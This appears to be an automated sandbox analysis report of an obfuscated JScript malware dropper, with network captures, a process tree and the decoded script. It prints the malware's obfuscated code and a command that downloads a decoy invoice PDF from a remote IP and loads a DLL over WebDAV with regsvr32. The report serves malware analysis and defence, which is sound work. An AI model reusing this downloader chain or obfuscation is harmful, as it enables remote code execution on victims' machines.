>> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 08:03:55.226300001 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 08:03:55.226315975 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 08:03:55.226330042 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 08:03:55.226344109 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 08:03:55.226357937 CET	1120	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 08:03:55.226372957 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 08:03:55.226387024 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 08:03:55.226401091 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 08:03:55.226414919 CET	1236	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o
Jan 11, 2025 08:03:55.231268883 CET	100	IN	Data Raw: c7 86 7e e4 d8 d0 4d 9b fa e6 04 00 00 30 0d be 58 02 80 8d 32 b7 d3 d1 1d b9 7a 2c 74 74 15 ad 39 5c d2 1c f3 57 ce 16 b9 e1 50 dd 43 c3 18 5a 73 6d 7e 32 34 8c a1 ff 35 24 3d 74 f6 cb 64 38 34 ad 0f 9d fd a1 52 1e d2 7f 9c 54 21 53 21 d2 f4 51 Data Ascii: ~M0X2z,tt9\WPCZsm~245$=td84RT!S!Q]avNQ0}v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	3476	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:03:57.277664900 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 08:03:58.067626953 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:03:57 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:03:51
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\700123582683323683.js"
Imagebase:	0x7ff767c10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:03:51
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll
Imagebase:	0x7ff71ba10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:03:51
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:03:51
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:03:56
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:03:56
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff71ba10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:03:56
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff743800000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:03:57
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:03:57
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:03:57
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1672,i,1215310555489989670,14978537808723602120,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function fmeoz() {	fmeoz() ➔ undefined
1	vjzyqlish = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var jzfqkuyo = this[gsoynibke + kgnaeaddt + jphffsmj + fijurz + dsfewlvv + trczgqavy + jqrjop + eiyzllw] ( this[ywlzvq + tsafs + rzlwfy + jphffsmj + iofrlu + gsoynibke + eiyzllw][jpmzf + jphffsmj + dsfewlvv + kgnaeaddt + eiyzllw + dsfewlvv + qpbberlp + rjcnoje + iouiakv + dsfewlvv + rzlwfy + eiyzllw] ( ywlzvq + tsafs + rzlwfy + jphffsmj + iofrlu + gsoynibke + eiyzllw + lcyhlyeiv + tsafs + zyzksp + dsfewlvv + pqajzpt + pqajzpt ) [rbqfrao + dsfewlvv + pitfmdph + rbqfrao + dsfewlvv + kgnaeaddt + dgawfxryc] ( lunqowz + lymqqkyhl + ekmflnfrm + hzirv + orvbuucl + jpmzf + gfouefch + rbqfrao + rbqfrao + ekmflnfrm + hfnjqd + wafdbzhjv + orvbuucl + gfouefch + tsafs + ekmflnfrm + rbqfrao + wwdrznpaa + jpmzf + rwsrznj + jqrjop + eiyzllw + jphffsmj + rwsrznj + pqajzpt + tooobow + ykamjcjn + kgnaeaddt + jqrjop + dsfewlvv + pqajzpt + wwdrznpaa + trczgqavy + jqrjop + eiyzllw + dsfewlvv + jphffsmj + jqrjop + kgnaeaddt + eiyzllw + iofrlu + rwsrznj + jqrjop + kgnaeaddt + pqajzpt + wwdrznpaa + phkzvqg + rwsrznj + rzlwfy + kgnaeaddt + pqajzpt + dsfewlvv ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( wvcpn = 0 ; wvcpn < vjzyqlish[pqajzpt + dsfewlvv + jqrjop + pitfmdph + eiyzllw + zyzksp] ; ++ wvcpn )
4	{
5	if ( jzfqkuyo == vjzyqlish[wvcpn] )
6	{
7	jzfqkuyo = true;
8	break ;
9	}
10	}
11	if ( jzfqkuyo !== true )
12	this[ywlzvq + tsafs + rzlwfy + jphffsmj + iofrlu + gsoynibke + eiyzllw][cjnpw + cdowxzdvi + iofrlu + eiyzllw] ( );
13	this[ywlzvq + tsafs + rzlwfy + jphffsmj + iofrlu + gsoynibke + eiyzllw][jpmzf + jphffsmj + dsfewlvv + kgnaeaddt + eiyzllw + dsfewlvv + qpbberlp + rjcnoje + iouiakv + dsfewlvv + rzlwfy + eiyzllw] ( ywlzvq + tsafs + rzlwfy + jphffsmj + iofrlu + gsoynibke + eiyzllw + lcyhlyeiv + tsafs + zyzksp + dsfewlvv + pqajzpt + pqajzpt ) [jphffsmj + cdowxzdvi + jqrjop] ( rzlwfy + nirdhwx + dgawfxryc + tooobow + ldnzagrmn + rzlwfy + tooobow + gsoynibke + rwsrznj + gtrnpaouk + dsfewlvv + jphffsmj + fijurz + zyzksp + dsfewlvv + pqajzpt + pqajzpt + lcyhlyeiv + dsfewlvv + mdull + dsfewlvv + tooobow + gqrkzd + jpmzf + rwsrznj + nirdhwx + nirdhwx + kgnaeaddt + jqrjop + dgawfxryc + tooobow + zmkbndld + trczgqavy + jqrjop + mdayr + rwsrznj + mtyhxf + dsfewlvv + gqrkzd + ywlzvq + dsfewlvv + rjcnoje + rbqfrao + dsfewlvv + sdhorhz + cdowxzdvi + dsfewlvv + fijurz + eiyzllw + tooobow + gqrkzd + qpbberlp + cdowxzdvi + eiyzllw + cuprrio + iofrlu + pqajzpt + dsfewlvv + tooobow + cpphwtq + eiyzllw + dsfewlvv + nirdhwx + gsoynibke + cpphwtq + wwdrznpaa + iofrlu + jqrjop + mdayr + rwsrznj + iofrlu + rzlwfy + dsfewlvv + lcyhlyeiv + gsoynibke + dgawfxryc + bglofcp + tooobow + zyzksp + eiyzllw + eiyzllw + gsoynibke + ivzncjzek + ldnzagrmn + ldnzagrmn + dpxsle + vsdawfo + zcmkcbg + lcyhlyeiv + dpxsle + nisnhiyya + zcmkcbg + lcyhlyeiv + dpxsle + lcyhlyeiv + ylspre + txpgbs + sayuccohu + ldnzagrmn + iofrlu + jqrjop + mdayr + rwsrznj + iofrlu + rzlwfy + dsfewlvv + lcyhlyeiv + gsoynibke + zyzksp + gsoynibke + zmkbndld + hiqonck + hiqonck + fijurz + eiyzllw + kgnaeaddt + jphffsmj + eiyzllw + tooobow + cpphwtq + eiyzllw + dsfewlvv + nirdhwx + gsoynibke + cpphwtq + wwdrznpaa + iofrlu + jqrjop + mdayr + rwsrznj + iofrlu + rzlwfy + dsfewlvv + lcyhlyeiv + gsoynibke + dgawfxryc + bglofcp + hiqonck + hiqonck + rzlwfy + nirdhwx + dgawfxryc + tooobow + ldnzagrmn + rzlwfy + tooobow + jqrjop + dsfewlvv + eiyzllw + tooobow + cdowxzdvi + fijurz + dsfewlvv + tooobow + wwdrznpaa + wwdrznpaa + dpxsle + vsdawfo + zcmkcbg + lcyhlyeiv + dpxsle + nisnhiyya + zcmkcbg + lcyhlyeiv + dpxsle + lcyhlyeiv + ylspre + txpgbs + sayuccohu + ugsga + bhkljcywp + bhkljcywp + bhkljcywp + bhkljcywp + wwdrznpaa + dgawfxryc + kgnaeaddt + mdayr + gtrnpaouk + gtrnpaouk + gtrnpaouk + jphffsmj + rwsrznj + rwsrznj + eiyzllw + wwdrznpaa + hiqonck + hiqonck + rzlwfy + nirdhwx + dgawfxryc + tooobow + ldnzagrmn + rzlwfy + tooobow + jphffsmj + dsfewlvv + pitfmdph + fijurz + mdayr + jphffsmj + zcmkcbg + ylspre + tooobow + ldnzagrmn + fijurz + tooobow + wwdrznpaa + wwdrznpaa + dpxsle + vsdawfo + zcmkcbg + lcyhlyeiv + dpxsle + nisnhiyya + zcmkcbg + lcyhlyeiv + dpxsle + lcyhlyeiv + ylspre + txpgbs + sayuccohu + ugsga + bhkljcywp + bhkljcywp + bhkljcywp + bhkljcywp + wwdrznpaa + dgawfxryc + kgnaeaddt + mdayr + gtrnpaouk + gtrnpaouk + gtrnpaouk + jphffsmj + rwsrznj + rwsrznj + eiyzllw + wwdrznpaa + zcmkcbg + dpxsle + vsdawfo + acbwnfk + nisnhiyya + dpxsle + vsdawfo + dvwfldoz + nisnhiyya + sayuccohu + ylspre + sayuccohu + bhkljcywp + ylspre + bhkljcywp + lcyhlyeiv + dgawfxryc + pqajzpt + pqajzpt, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll",0,false) ➔ 0
14	}
15	wafdbzhjv = "l";
16	wafdbzhjv = "Z";
17	wafdbzhjv = "Y";
18	wafdbzhjv = "v";
19	wafdbzhjv = "G";
20	wafdbzhjv = "E";
21	wafdbzhjv = "x";
22	wafdbzhjv = "E";
23	wafdbzhjv = "a";
24	wafdbzhjv = "U";
25	wafdbzhjv = "g";
26	wafdbzhjv = "g";
27	wafdbzhjv = "c";
28	wafdbzhjv = "m";
29	wafdbzhjv = "u";
30	wafdbzhjv = "q";
31	wafdbzhjv = "J";
32	wafdbzhjv = "t";
33	wafdbzhjv = "M";
34	wafdbzhjv = "r";
35	wafdbzhjv = "o";
36	wafdbzhjv = "s";
37	wafdbzhjv = "R";
38	wafdbzhjv = "F";
39	wafdbzhjv = "w";
40	wafdbzhjv = "T";
41	lcyhlyeiv = "F";
42	lcyhlyeiv = "A";
43	lcyhlyeiv = "G";
44	lcyhlyeiv = "a";
45	lcyhlyeiv = "u";
46	lcyhlyeiv = "b";
47	lcyhlyeiv = "a";
48	lcyhlyeiv = "e";
49	lcyhlyeiv = "I";
50	lcyhlyeiv = "f";
51	lcyhlyeiv = "e";
52	lcyhlyeiv = "a";
53	lcyhlyeiv = "Z";
54	lcyhlyeiv = "S";
55	lcyhlyeiv = "L";
56	lcyhlyeiv = "l";
57	lcyhlyeiv = "n";
58	lcyhlyeiv = "u";
59	lcyhlyeiv = "A";
60	lcyhlyeiv = "m";
61	lcyhlyeiv = "T";
62	lcyhlyeiv = "J";
63	lcyhlyeiv = "M";
64	lcyhlyeiv = "H";
65	lcyhlyeiv = "n";
66	lcyhlyeiv = "x";
67	lcyhlyeiv = "V";
68	lcyhlyeiv = "V";
69	lcyhlyeiv = ".";
70	ivzncjzek = "a";
71	ivzncjzek = "u";
72	ivzncjzek = "E";
73	ivzncjzek = "t";
74	ivzncjzek = "k";
75	ivzncjzek = "t";
76	ivzncjzek = "z";
77	ivzncjzek = "f";
78	ivzncjzek = "E";
79	ivzncjzek = "T";
80	ivzncjzek = "C";
81	ivzncjzek = "n";
82	ivzncjzek = "N";
83	ivzncjzek = "n";
84	ivzncjzek = "l";
85	ivzncjzek = "M";
86	ivzncjzek = "F";
87	ivzncjzek = "U";
88	ivzncjzek = "F";
89	ivzncjzek = "L";
90	ivzncjzek = "C";
91	ivzncjzek = "r";
92	ivzncjzek = "E";
93	ivzncjzek = "C";
94	ivzncjzek = "Z";
95	ivzncjzek = "D";
96	ivzncjzek = "k";
97	ivzncjzek = "s";
98	ivzncjzek = "E";
99	ivzncjzek = "b";
100	ivzncjzek = "u";
101	ivzncjzek = "x";
102	ivzncjzek = "M";
103	ivzncjzek = "K";
104	ivzncjzek = "D";
105	ivzncjzek = "W";
106	ivzncjzek = "J";
107	ivzncjzek = "I";
108	ivzncjzek = "D";
109	ivzncjzek = "U";
110	ivzncjzek = "d";
111	ivzncjzek = "g";
112	ivzncjzek = "w";
113	ivzncjzek = ":";
114	tooobow = "B";
115	tooobow = "m";
116	tooobow = "V";
117	tooobow = "c";
118	tooobow = "P";
119	tooobow = "n";
120	tooobow = "A";
121	tooobow = "W";
122	tooobow = "S";
123	tooobow = "w";
124	tooobow = "m";
125	tooobow = "v";
126	tooobow = "R";
127	tooobow = "D";
128	tooobow = "A";
129	tooobow = "o";
130	tooobow = "R";
131	tooobow = "l";
132	tooobow = "P";
133	tooobow = "F";
134	tooobow = "P";
135	tooobow = "O";
136	tooobow = "w";
137	tooobow = "m";
138	tooobow = "E";
139	tooobow = "o";
140	tooobow = "s";
141	tooobow = "B";
142	tooobow = "K";
143	tooobow = "L";
144	tooobow = "x";
145	tooobow = "n";
146	tooobow = "B";
147	tooobow = "M";
148	tooobow = "H";
149	tooobow = " ";
150	ywlzvq = "d";
151	ywlzvq = "c";
152	ywlzvq = "H";
153	ywlzvq = "j";
154	ywlzvq = "c";
155	ywlzvq = "w";
156	ywlzvq = "t";
157	ywlzvq = "V";
158	ywlzvq = "A";
159	ywlzvq = "I";
160	ywlzvq = "F";
161	ywlzvq = "T";
162	ywlzvq = "E";
163	ywlzvq = "j";
164	ywlzvq = "q";
165	ywlzvq = "q";
166	ywlzvq = "p";
167	ywlzvq = "g";
168	ywlzvq = "l";
169	ywlzvq = "Z";
170	ywlzvq = "j";
171	ywlzvq = "K";
172	ywlzvq = "i";
173	ywlzvq = "U";
174	ywlzvq = "X";
175	ywlzvq = "M";
176	ywlzvq = "s";
177	ywlzvq = "T";
178	ywlzvq = "X";
179	ywlzvq = "O";
180	ywlzvq = "B";
181	ywlzvq = "d";
182	ywlzvq = "U";
183	ywlzvq = "M";
184	ywlzvq = "M";
185	ywlzvq = "h";
186	ywlzvq = "y";
187	ywlzvq = "d";
188	ywlzvq = "L";
189	ywlzvq = "W";
190	bglofcp = "P";
191	bglofcp = "A";
192	bglofcp = "J";
193	bglofcp = "q";
194	bglofcp = "k";
195	bglofcp = "L";
196	bglofcp = "g";
197	bglofcp = "D";
198	bglofcp = "h";
199	bglofcp = "P";
200	bglofcp = "w";
201	bglofcp = "T";
202	bglofcp = "i";
203	bglofcp = "D";
204	bglofcp = "g";
205	bglofcp = "J";
206	bglofcp = "g";
207	bglofcp = "R";
208	bglofcp = "l";
209	bglofcp = "P";
210	bglofcp = "b";
211	bglofcp = "V";
212	bglofcp = "C";
213	bglofcp = "v";
214	bglofcp = "T";
215	bglofcp = "G";
216	bglofcp = "W";
217	bglofcp = "x";
218	bglofcp = "i";
219	bglofcp = "m";
220	bglofcp = "x";
221	bglofcp = "m";
222	bglofcp = "d";
223	bglofcp = "f";
224	jphffsmj = "J";
225	jphffsmj = "I";
226	jphffsmj = "s";
227	jphffsmj = "C";
228	jphffsmj = "S";
229	jphffsmj = "T";
230	jphffsmj = "R";
231	jphffsmj = "l";
232	jphffsmj = "u";
233	jphffsmj = "P";
234	jphffsmj = "F";
235	jphffsmj = "e";
236	jphffsmj = "P";
237	jphffsmj = "n";
238	jphffsmj = "t";
239	jphffsmj = "C";
240	jphffsmj = "D";
241	jphffsmj = "y";
242	jphffsmj = "D";
243	jphffsmj = "r";
244	lunqowz = "N";
245	lunqowz = "Z";
246	lunqowz = "i";
247	lunqowz = "l";
248	lunqowz = "g";
249	lunqowz = "q";
250	lunqowz = "a";
251	lunqowz = "G";
252	lunqowz = "H";
253	lunqowz = "A";
254	lunqowz = "J";
255	lunqowz = "i";
256	lunqowz = "H";
257	acbwnfk = "I";
258	acbwnfk = "h";
259	acbwnfk = "f";
260	acbwnfk = "T";
261	acbwnfk = "O";
262	acbwnfk = "F";
263	acbwnfk = "o";
264	acbwnfk = "S";
265	acbwnfk = "U";
266	acbwnfk = "P";
267	acbwnfk = "R";
268	acbwnfk = "a";
269	acbwnfk = "w";
270	acbwnfk = "u";
271	acbwnfk = "w";
272	acbwnfk = "w";
273	acbwnfk = "F";
274	acbwnfk = "E";
275	acbwnfk = "K";
276	acbwnfk = "g";
277	acbwnfk = "k";
278	acbwnfk = "F";
279	acbwnfk = "C";
280	acbwnfk = "w";
281	acbwnfk = "I";
282	acbwnfk = "T";
283	acbwnfk = "X";
284	acbwnfk = "w";
285	acbwnfk = "v";
286	acbwnfk = "m";
287	acbwnfk = "A";
288	acbwnfk = "V";
289	acbwnfk = "7";
290	ugsga = "R";
291	ugsga = "g";
292	ugsga = "P";
293	ugsga = "l";
294	ugsga = "t";
295	ugsga = "O";
296	ugsga = "l";
297	ugsga = "e";
298	ugsga = "i";
299	ugsga = "n";
300	ugsga = "F";
301	ugsga = "O";
302	ugsga = "b";
303	ugsga = "H";
304	ugsga = "S";
305	ugsga = "E";
306	ugsga = "n";
307	ugsga = "Q";
308	ugsga = "e";
309	ugsga = "K";
310	ugsga = "P";
311	ugsga = "w";
312	ugsga = "v";
313	ugsga = "T";
314	ugsga = "Z";
315	ugsga = "Q";
316	ugsga = "J";
317	ugsga = "f";
318	ugsga = "n";
319	ugsga = "v";
320	ugsga = "y";
321	ugsga = "v";
322	ugsga = "I";
323	ugsga = "h";
324	ugsga = "E";
325	ugsga = "@";
326	jpmzf = "D";
327	jpmzf = "Q";
328	jpmzf = "d";
329	jpmzf = "C";
330	iofrlu = "Z";
331	iofrlu = "H";
332	iofrlu = "m";
333	iofrlu = "c";
334	iofrlu = "T";
335	iofrlu = "U";
336	iofrlu = "a";
337	iofrlu = "C";
338	iofrlu = "M";
339	iofrlu = "n";
340	iofrlu = "k";
341	iofrlu = "m";
342	iofrlu = "T";
343	iofrlu = "q";
344	iofrlu = "c";
345	iofrlu = "s";
346	iofrlu = "M";
347	iofrlu = "v";
348	iofrlu = "l";
349	iofrlu = "B";
350	iofrlu = "m";
351	iofrlu = "Q";
352	iofrlu = "S";
353	iofrlu = "J";
354	iofrlu = "M";
355	iofrlu = "k";
356	iofrlu = "Q";
357	iofrlu = "q";
358	iofrlu = "r";
359	iofrlu = "Z";
360	iofrlu = "A";
361	iofrlu = "t";
362	iofrlu = "O";
363	iofrlu = "U";
364	iofrlu = "a";
365	iofrlu = "J";
366	iofrlu = "y";
367	iofrlu = "k";
368	iofrlu = "i";
369	cdowxzdvi = "J";
370	cdowxzdvi = "H";
371	cdowxzdvi = "X";
372	cdowxzdvi = "Z";
373	cdowxzdvi = "T";
374	cdowxzdvi = "a";
375	cdowxzdvi = "R";
376	cdowxzdvi = "d";
377	cdowxzdvi = "K";
378	cdowxzdvi = "i";
379	cdowxzdvi = "g";
380	cdowxzdvi = "F";
381	cdowxzdvi = "R";
382	cdowxzdvi = "U";
383	cdowxzdvi = "N";
384	cdowxzdvi = "a";
385	cdowxzdvi = "Z";
386	cdowxzdvi = "l";
387	cdowxzdvi = "u";
388	nisnhiyya = "B";
389	nisnhiyya = "u";
390	nisnhiyya = "u";
391	nisnhiyya = "d";
392	nisnhiyya = "N";
